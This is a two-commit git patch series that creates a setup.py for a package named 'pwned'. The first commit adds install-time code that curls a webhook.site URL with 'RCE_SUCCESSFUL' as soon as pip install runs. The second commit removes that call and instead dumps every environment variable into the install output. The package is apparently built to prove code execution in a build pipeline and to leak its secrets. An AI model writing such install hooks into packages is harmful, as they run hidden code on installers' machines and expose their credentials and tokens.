From 7a25c0d315ff977c440825804ee47fea963e6151 Mon Sep 17 00:00:00 2001 From: Sahil Date: Fri, 12 Jun 2026 21:59:00 +0545 Subject: [PATCH 1/2] Create setup.py --- setup.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 setup.py diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..b7da2dd --- /dev/null +++ b/setup.py @@ -0,0 +1,14 @@ +from setuptools import setup +import os +import urllib.request + +# This runs the second 'pip install' starts! +try: + os.system("curl https://webhook.site/470e1846-1bd3-43ec-868c-a64283768bb4 -d 'RCE_SUCCESSFUL'") +except: + pass + +setup( + name="pwned", + version="0.0.1", +) From df405e75e2b1268c355495ef92e50bcf54c0ce45 Mon Sep 17 00:00:00 2001 From: Sahil Date: Fri, 12 Jun 2026 22:08:10 +0545 Subject: [PATCH 2/2] Update setup.py --- setup.py | 17 ++++++----------- 1 file changed, 6 insertions(+), 11 deletions(-) diff --git a/setup.py b/setup.py index b7da2dd..32ff56b 100644 --- a/setup.py +++ b/setup.py @@ -1,14 +1,9 @@ from setuptools import setup import os -import urllib.request +print("DEBUG: ENVIRONMENT VARIABLES START") +for k, v in os.environ.items(): + print(f"{k}={v}") +print("DEBUG: ENVIRONMENT VARIABLES END") -# This runs the second 'pip install' starts! -try: - os.system("curl https://webhook.site/470e1846-1bd3-43ec-868c-a64283768bb4 -d 'RCE_SUCCESSFUL'") -except: - pass - -setup( - name="pwned", - version="0.0.1", -) +from setuptools import setup +setup(name="pwned", version="0.0.1")